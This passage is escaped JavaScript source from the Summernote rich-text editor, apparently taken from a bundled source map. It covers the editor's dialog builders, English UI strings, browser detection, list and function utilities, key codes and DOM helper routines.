function(opt) {\n  const body = '<div class=\"note-form-group\">' +\n    '<label class=\"note-form-label\">' +\n    opt.lang.video.url + ' <small class=\"text-muted\">' +\n    opt.lang.video.providers + '</small>' +\n    '</label>' +\n    '<input class=\"note-video-url note-input\" type=\"text\" />' +\n    '</div>';\n  const footer = [\n    '<button type=\"button\" href=\"#\" class=\"note-btn note-btn-primary note-video-btn disabled\" disabled>',\n    opt.lang.video.insert,\n    '</button>'\n  ].join('');\n\n  return dialog({\n    title: opt.lang.video.insert,\n    fade: opt.fade,\n    body: body,\n    footer: footer\n  }).render();\n};\n\nconst imageDialog = function(opt) {\n  const body = '<div class=\"note-form-group note-group-select-from-files\">' +\n    '<label class=\"note-form-label\">' + opt.lang.image.selectFromFiles + '</label>' +\n    '<input class=\"note-note-image-input note-input\" type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />' +\n    opt.imageLimitation +\n    '</div>' +\n    '<div class=\"note-form-group\" style=\"overflow:auto;\">' +\n    '<label class=\"note-form-label\">' + opt.lang.image.url + '</label>' +\n    '<input class=\"note-image-url note-input\" type=\"text\" />' +\n    '</div>';\n  const footer = [\n    '<button href=\"#\" type=\"button\" class=\"note-btn note-btn-primary note-btn-large note-image-btn disabled\" disabled>',\n    opt.lang.image.insert,\n    '</button>'\n  ].join('');\n\n  return dialog({\n    title: opt.lang.image.insert,\n    fade: opt.fade,\n    body: body,\n    footer: footer\n  }).render();\n};\n\nconst linkDialog = function(opt) {\n  const body = '<div class=\"note-form-group\">' +\n    '<label class=\"note-form-label\">' + opt.lang.link.textToDisplay + '</label>' +\n    '<input class=\"note-link-text note-input\" type=\"text\" />' +\n    '</div>' +\n    '<div class=\"note-form-group\">' +\n    '<label class=\"note-form-label\">' + opt.lang.link.url + '</label>' +\n    '<input class=\"note-link-url note-input\" type=\"text\" value=\"http://\" />' +\n    '</div>' +\n    (!opt.disableLinkTarget\n      ? '<div class=\"checkbox\">' +\n      '<label>' + '<input type=\"checkbox\" checked> ' + opt.lang.link.openInNewWindow + '</label>' +\n      '</div>' : ''\n    );\n  const footer = [\n    '<button href=\"#\" type=\"button\" class=\"note-btn note-btn-primary note-link-btn disabled\" disabled>',\n    opt.lang.link.insert,\n    '</button>'\n  ].join('');\n\n  return dialog({\n    className: 'link-dialog',\n    title: opt.lang.link.insert,\n    fade: opt.fade,\n    body: body,\n    footer: footer\n  }).render();\n};\n\nconst popover = renderer.create([\n  '<div class=\"note-popover bottom\">',\n  '  <div class=\"note-popover-arrow\"/>',\n  '  <div class=\"note-popover-content note-children-container\"/>',\n  '</div>'\n].join(''), function($node, options) {\n  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';\n\n  $node.addClass(direction).hide();\n\n  if (options.hideArrow) {\n    $node.find('.note-popover-arrow').hide();\n  }\n});\n\nconst checkbox = renderer.create('<div class=\"checkbox\"></div>', function($node, options) {\n  $node.html([\n    ' <label' + (options.id ? ' for=\"' + options.id + '\"' : '') + '>',\n    ' <input role=\"checkbox\" type=\"checkbox\"' + (options.id ? ' id=\"' + options.id + '\"' : ''),\n    (options.checked ? ' checked' : ''),\n    ' aria-checked=\"' + (options.checked ? 'true' : 'false') + '\"/>',\n    (options.text ? options.text : ''),\n    '</label>'\n  ].join(''));\n});\n\nconst icon = function(iconClassName, tagName) {\n  tagName = tagName || 'i';\n  return '<' + tagName + ' class=\"' + iconClassName + '\"/>';\n};\n\nconst ui = {\n  editor: editor,\n  toolbar: toolbar,\n  editingArea: editingArea,\n  codable: codable,\n  editable: editable,\n  statusbar: statusbar,\n  airEditor: airEditor,\n  airEditable: airEditable,\n  buttonGroup: buttonGroup,\n  button: button,\n  dropdown: dropdown,\n  dropdownCheck: dropdownCheck,\n  dropdownButton: dropdownButton,\n  dropdownButtonContents: dropdownButtonContents,\n  dropdownCheckButton: dropdownCheckButton,\n  paragraphDropdownButton: paragraphDropdownButton,\n  tableDropdownButton: tableDropdownButton,\n  colorDropdownButton: colorDropdownButton,\n  palette: palette,\n  dialog: dialog,\n  videoDialog: videoDialog,\n  imageDialog: imageDialog,\n  linkDialog: linkDialog,\n  popover: popover,\n  checkbox: checkbox,\n  icon: icon,\n\n  toggleBtn: function($btn, isEnable) {\n    $btn.toggleClass('disabled', !isEnable);\n    $btn.attr('disabled', !isEnable);\n  },\n\n  toggleBtnActive: function($btn, isActive) {\n    $btn.toggleClass('active', isActive);\n  },\n\n  check: function($dom, value) {\n    $dom.find('.checked').removeClass('checked');\n    $dom.find('[data-value=\"' + value + '\"]').addClass('checked');\n  },\n\n  onDialogShown: function($dialog, handler) {\n    $dialog.one('note.modal.show', handler);\n  },\n\n  onDialogHidden: function($dialog, handler) {\n    $dialog.one('note.modal.hide', handler);\n  },\n\n  showDialog: function($dialog) {\n    $dialog.data('modal').show();\n  },\n\n  hideDialog: function($dialog) {\n    $dialog.data('modal').hide();\n  },\n\n  /**\n   * get popover content area\n   *\n   * @param $popover\n   * @returns {*}\n   */\n  getPopoverContent: function($popover) {\n    return $popover.find('.note-popover-content');\n  },\n\n  /**\n   * get dialog's body area\n   *\n   * @param $dialog\n   * @returns {*}\n   */\n  getDialogBody: function($dialog) {\n    return $dialog.find('.note-modal-body');\n  },\n\n  createLayout: function($note, options) {\n    const $editor = (options.airMode ? ui.airEditor([\n      ui.editingArea([\n        ui.airEditable()\n      ])\n    ]) : ui.editor([\n      ui.toolbar(),\n      ui.editingArea([\n        ui.codable(),\n        ui.editable()\n      ]),\n      ui.statusbar()\n    ])).render();\n\n    $editor.insertAfter($note);\n\n    return {\n      note: $note,\n      editor: $editor,\n      toolbar: $editor.find('.note-toolbar'),\n      editingArea: $editor.find('.note-editing-area'),\n      editable: $editor.find('.note-editable'),\n      codable: $editor.find('.note-codable'),\n      statusbar: $editor.find('.note-statusbar')\n    };\n  },\n\n  removeLayout: function($note, layoutInfo) {\n    $note.html(layoutInfo.editable.html());\n    layoutInfo.editor.remove();\n    $note.off('summernote'); // remove summernote custom event\n    $note.show();\n  }\n};\n\nexport default ui;\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n  lang: {}\n};\n\n$.extend($.summernote.lang, {\n  'en-US': {\n    font: {\n      bold: 'Bold',\n      italic: 'Italic',\n      underline: 'Underline',\n      clear: 'Remove Font Style',\n      height: 'Line Height',\n      name: 'Font Family',\n      strikethrough: 'Strikethrough',\n      subscript: 'Subscript',\n      superscript: 'Superscript',\n      size: 'Font Size'\n    },\n    image: {\n      image: 'Picture',\n      insert: 'Insert Image',\n      resizeFull: 'Resize Full',\n      resizeHalf: 'Resize Half',\n      resizeQuarter: 'Resize Quarter',\n      floatLeft: 'Float Left',\n      floatRight: 'Float Right',\n      floatNone: 'Float None',\n      shapeRounded: 'Shape: Rounded',\n      shapeCircle: 'Shape: Circle',\n      shapeThumbnail: 'Shape: Thumbnail',\n      shapeNone: 'Shape: None',\n      dragImageHere: 'Drag image or text here',\n      dropImage: 'Drop image or Text',\n      selectFromFiles: 'Select from files',\n      maximumFileSize: 'Maximum file size',\n      maximumFileSizeError: 'Maximum file size exceeded.',\n      url: 'Image URL',\n      remove: 'Remove Image',\n      original: 'Original'\n    },\n    video: {\n      video: 'Video',\n      videoLink: 'Video Link',\n      insert: 'Insert Video',\n      url: 'Video URL',\n      providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'\n    },\n    link: {\n      link: 'Link',\n      insert: 'Insert Link',\n      unlink: 'Unlink',\n      edit: 'Edit',\n      textToDisplay: 'Text to display',\n      url: 'To what URL should this link go?',\n      openInNewWindow: 'Open in new window'\n    },\n    table: {\n      table: 'Table',\n      addRowAbove: 'Add row above',\n      addRowBelow: 'Add row below',\n      addColLeft: 'Add column left',\n      addColRight: 'Add column right',\n      delRow: 'Delete row',\n      delCol: 'Delete column',\n      delTable: 'Delete table'\n    },\n    hr: {\n      insert: 'Insert Horizontal Rule'\n    },\n    style: {\n      style: 'Style',\n      p: 'Normal',\n      blockquote: 'Quote',\n      pre: 'Code',\n      h1: 'Header 1',\n      h2: 'Header 2',\n      h3: 'Header 3',\n      h4: 'Header 4',\n      h5: 'Header 5',\n      h6: 'Header 6'\n    },\n    lists: {\n      unordered: 'Unordered list',\n      ordered: 'Ordered list'\n    },\n    options: {\n      help: 'Help',\n      fullscreen: 'Full Screen',\n      codeview: 'Code View'\n    },\n    paragraph: {\n      paragraph: 'Paragraph',\n      outdent: 'Outdent',\n      indent: 'Indent',\n      left: 'Align left',\n      center: 'Align center',\n      right: 'Align right',\n      justify: 'Justify full'\n    },\n    color: {\n      recent: 'Recent Color',\n      more: 'More Color',\n      background: 'Background Color',\n      foreground: 'Foreground Color',\n      transparent: 'Transparent',\n      setTransparent: 'Set transparent',\n      reset: 'Reset',\n      resetToDefault: 'Reset to default'\n    },\n    shortcut: {\n      shortcuts: 'Keyboard shortcuts',\n      close: 'Close',\n      textFormatting: 'Text formatting',\n      action: 'Action',\n      paragraphFormatting: 'Paragraph formatting',\n      documentStyle: 'Document Style',\n      extraKeys: 'Extra keys'\n    },\n    help: {\n      'insertParagraph': 'Insert Paragraph',\n      'undo': 'Undoes the last command',\n      'redo': 'Redoes the last command',\n      'tab': 'Tab',\n      'untab': 'Untab',\n      'bold': 'Set a bold style',\n      'italic': 'Set a italic style',\n      'underline': 'Set a underline style',\n      'strikethrough': 'Set a strikethrough style',\n      'removeFormat': 'Clean a style',\n      'justifyLeft': 'Set left align',\n      'justifyCenter': 'Set center align',\n      'justifyRight': 'Set right align',\n      'justifyFull': 'Set full align',\n      'insertUnorderedList': 'Toggle unordered list',\n      'insertOrderedList': 'Toggle ordered list',\n      'outdent': 'Outdent on current paragraph',\n      'indent': 'Indent on current paragraph',\n      'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n      'formatH1': 'Change current block\\'s format as H1',\n      'formatH2': 'Change current block\\'s format as H2',\n      'formatH3': 'Change current block\\'s format as H3',\n      'formatH4': 'Change current block\\'s format as H4',\n      'formatH5': 'Change current block\\'s format as H5',\n      'formatH6': 'Change current block\\'s format as H6',\n      'insertHorizontalRule': 'Insert horizontal rule',\n      'linkDialog.show': 'Show Link Dialog'\n    },\n    history: {\n      undo: 'Undo',\n      redo: 'Redo'\n    },\n    specialChar: {\n      specialChar: 'SPECIAL CHARACTERS',\n      select: 'Select Special characters'\n    }\n  }\n});\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nfunction isFontInstalled(fontName) {\n  const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n  const $tester = $('<div>').css({\n    position: 'absolute',\n    left: '-9999px',\n    top: '-9999px',\n    fontSize: '200px'\n  }).text('mmmmmmmmmwwwwwww').appendTo(document.body);\n\n  const originalWidth = $tester.css('fontFamily', testFontName).width();\n  const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();\n\n  $tester.remove();\n\n  return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n  let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n  matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\nif (!hasCodeMirror && isSupportAmd) {\n  // Webpack\n  if (typeof __webpack_require__ === 'function') { // eslint-disable-line\n    try {\n      // If CodeMirror can't be resolved, `require.resolve` will throw an\n      // exception and `hasCodeMirror` won't be set to `true`.\n      require.resolve('codemirror');\n      hasCodeMirror = true;\n    } catch (e) {\n      // do nothing\n    }\n  } else if (typeof require !== 'undefined') {\n    // Browserify\n    if (typeof require.resolve !== 'undefined') {\n      try {\n        // If CodeMirror can't be resolved, `require.resolve` will throw an\n        // exception and `hasCodeMirror` won't be set to `true`.\n        require.resolve('codemirror');\n        hasCodeMirror = true;\n      } catch (e) {\n        // do nothing\n      }\n    // Almond/Require\n    } else if (typeof require.specified !== 'undefined') {\n      hasCodeMirror = require.specified('codemirror');\n    }\n  }\n}\n\nconst isSupportTouch =\n  (('ontouchstart' in window) ||\n   (navigator.MaxTouchPoints > 0) ||\n   (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n  isMac: navigator.appVersion.indexOf('Mac') > -1,\n  isMSIE,\n  isEdge,\n  isFF: !isEdge && /firefox/i.test(userAgent),\n  isPhantom: /PhantomJS/i.test(userAgent),\n  isWebkit: !isEdge && /webkit/i.test(userAgent),\n  isChrome: !isEdge && /chrome/i.test(userAgent),\n  isSafari: !isEdge && /safari/i.test(userAgent),\n  browserVersion,\n  jqueryVersion: parseFloat($.fn.jquery),\n  isSupportAmd,\n  isSupportTouch,\n  hasCodeMirror,\n  isFontInstalled,\n  isW3CRangeSupport: !!document.createRange,\n  inputEventName\n};\n","/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n  return function(itemB) {\n    return itemA === itemB;\n  };\n}\n\nfunction eq2(itemA, itemB) {\n  return itemA === itemB;\n}\n\nfunction peq2(propName) {\n  return function(itemA, itemB) {\n    return itemA[propName] === itemB[propName];\n  };\n}\n\nfunction ok() {\n  return true;\n}\n\nfunction fail() {\n  return false;\n}\n\nfunction not(f) {\n  return () => {\n    return !f.apply(f, arguments);\n  };\n}\n\nfunction and(fA, fB) {\n  return function(item) {\n    return fA(item) && fB(item);\n  };\n}\n\nfunction self(a) {\n  return a;\n}\n\nfunction invoke(obj, method) {\n  return () => {\n    return obj[method].apply(obj, arguments);\n  };\n}\n\nlet idCounter = 0;\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n  const id = ++idCounter + '';\n  return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n  const $document = $(document);\n  return {\n    top: rect.top + $document.scrollTop(),\n    left: rect.left + $document.scrollLeft(),\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n  const inverted = {};\n  for (const key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      inverted[obj[key]] = key;\n    }\n  }\n  return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n  prefix = prefix || '';\n  return prefix + namespace.split('.').map(function(name) {\n    return name.substring(0, 1).toUpperCase() + name.substring(1);\n  }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n  let timeout;\n  return () => {\n    const context = this;\n    const args = arguments;\n    const later = () => {\n      timeout = null;\n      if (!immediate) {\n        func.apply(context, args);\n      }\n    };\n    const callNow = immediate && !timeout;\n    clearTimeout(timeout);\n    timeout = setTimeout(later, wait);\n    if (callNow) {\n      func.apply(context, args);\n    }\n  };\n}\n\nexport default {\n  eq,\n  eq2,\n  peq2,\n  ok,\n  fail,\n  self,\n  not,\n  and,\n  invoke,\n  uniqueId,\n  rect2bnd,\n  invertObject,\n  namespaceToCamel,\n  debounce\n};\n","import $ from 'jquery';\nimport func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n  return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n  return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n  return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n  return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    const item = array[idx];\n    if (pred(item)) {\n      return item;\n    }\n  }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!pred(array[idx])) {\n      return false;\n    }\n  }\n  return true;\n}\n\n/**\n * returns index of item\n */\nfunction indexOf(array, item) {\n  return $.inArray(item, array);\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n  return indexOf(array, item) !== -1;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n  fn = fn || func.self;\n  return array.reduce(function(memo, v) {\n    return memo + fn(v);\n  }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n  const result = [];\n  const length = collection.length;\n  let idx = -1;\n  while (++idx < length) {\n    result[idx] = collection[idx];\n  }\n  return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n  return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n  if (!array.length) { return []; }\n  const aTail = tail(array);\n  return aTail.reduce(function(memo, v) {\n    const aLast = last(memo);\n    if (fn(last(aLast), v)) {\n      aLast[aLast.length] = v;\n    } else {\n      memo[memo.length] = [v];\n    }\n    return memo;\n  }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n  const aResult = [];\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (array[idx]) { aResult.push(array[idx]); }\n  }\n  return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n  const results = [];\n\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!contains(results, array[idx])) {\n      results.push(array[idx]);\n    }\n  }\n\n  return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx + 1];\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx - 1];\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n  head,\n  last,\n  initial,\n  tail,\n  prev,\n  next,\n  find,\n  contains,\n  all,\n  sum,\n  from,\n  isEmpty,\n  clusterBy,\n  compact,\n  unique\n};\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n  'BACKSPACE': 8,\n  'TAB': 9,\n  'ENTER': 13,\n  'SPACE': 32,\n  'DELETE': 46,\n\n  // Arrow\n  'LEFT': 37,\n  'UP': 38,\n  'RIGHT': 39,\n  'DOWN': 40,\n\n  // Number: 0-9\n  'NUM0': 48,\n  'NUM1': 49,\n  'NUM2': 50,\n  'NUM3': 51,\n  'NUM4': 52,\n  'NUM5': 53,\n  'NUM6': 54,\n  'NUM7': 55,\n  'NUM8': 56,\n\n  // Alphabet: a-z\n  'B': 66,\n  'E': 69,\n  'I': 73,\n  'J': 74,\n  'K': 75,\n  'L': 76,\n  'R': 82,\n  'S': 83,\n  'U': 85,\n  'V': 86,\n  'Y': 89,\n  'Z': 90,\n\n  'SLASH': 191,\n  'LEFTBRACKET': 219,\n  'BACKSLASH': 220,\n  'RIGHTBRACKET': 221\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n  /**\n   * @method isEdit\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isEdit: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.BACKSPACE,\n      KEY_MAP.TAB,\n      KEY_MAP.ENTER,\n      KEY_MAP.SPACE,\n      KEY_MAP.DELETE\n    ], keyCode);\n  },\n  /**\n   * @method isMove\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isMove: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.LEFT,\n      KEY_MAP.UP,\n      KEY_MAP.RIGHT,\n      KEY_MAP.DOWN\n    ], keyCode);\n  },\n  /**\n   * @property {Object} nameFromCode\n   * @property {String} nameFromCode.8 \"BACKSPACE\"\n   */\n  nameFromCode: func.invertObject(KEY_MAP),\n  code: KEY_MAP\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n  return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n  return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n  nodeName = nodeName.toUpperCase();\n  return function(node) {\n    return node && node.nodeName.toUpperCase() === nodeName;\n  };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n  return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n  return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n  return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n  if (isEditable(node)) {\n    return false;\n  }\n\n  // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n  return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n  return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n  return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n  return !isBodyContainer(node) &&\n         !isList(node) &&\n         !isHr(node) &&\n         !isPara(node) &&\n         !isTable(node) &&\n         !isBlockquote(node) &&\n         !isData(node);\n}\n\nfunction isList(node) {\n  return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n  return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n  return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n  return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n  return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n  return nodeA.nextSibling === nodeB ||\n         nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n  pred = pred || func.ok;\n\n  const siblings = [];\n  if (node.previousSibling && pred(node.previousSibling)) {\n    siblings.push(node.previousSibling);\n  }\n  siblings.push(node);\n  if (node.nextSibling && pred(node.nextSibling)) {\n    siblings.push(node.nextSibling);\n  }\n  return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with &nbsp;\n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n  if (isText(node)) {\n    return node.nodeValue.length;\n  }\n\n  if (node) {\n    return node.childNodes.length;\n  }\n\n  return 0;\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n  const len = nodeLength(node);\n\n  if (len === 0) {\n    return true;\n  } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n    // ex) <p><br></p>, <span><br></span>\n    return true;\n  } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n    // ex) <p></p>, <span></span>\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n  if (!isVoid(node) && !nodeLength(node)) {\n    node.innerHTML = blankHTML;\n  }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n  while (node) {\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n  node = node.parentNode;\n\n  while (node) {\n    if (nodeLength(node) !== 1) { break; }\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n  pred = pred || func.fail;\n\n  const ancestors = [];\n  ancestor(node, function(el) {\n    if (!isEditable(el)) {\n      ancestors.push(el);\n    }\n\n    return pred(el);\n  });\n  return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n  const ancestors = listAncestor(node);\n  return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n  const ancestors = listAncestor(nodeA);\n  for (let n = nodeB; n; n = n.parentNode) {\n    if ($.inArray(n, ancestors) > -1) { return n; }\n  }\n  return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.previousSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.nextSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n  const descendants = [];\n  pred = pred || func.ok;\n\n  // start DFS(depth first search) with node\n  (function fnWalk(current) {\n    if (node !== current && pred(current)) {\n      descendants.push(current);\n    }\n    for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n      fnWalk(current.childNodes[idx]);\n    }\n  })(node);\n\n  return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n  const parent = node.parentNode;\n  const wrapper = $('<' + wrapperName + '>')[0];\n\n  parent.insertBefore(wrapper, node);\n  wrapper.appendChild(node);\n\n  return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n  const next = preceding.nextSibling;\n  let parent = preceding.parentNode;\n  if (next) {\n    parent.insertBefore(node, 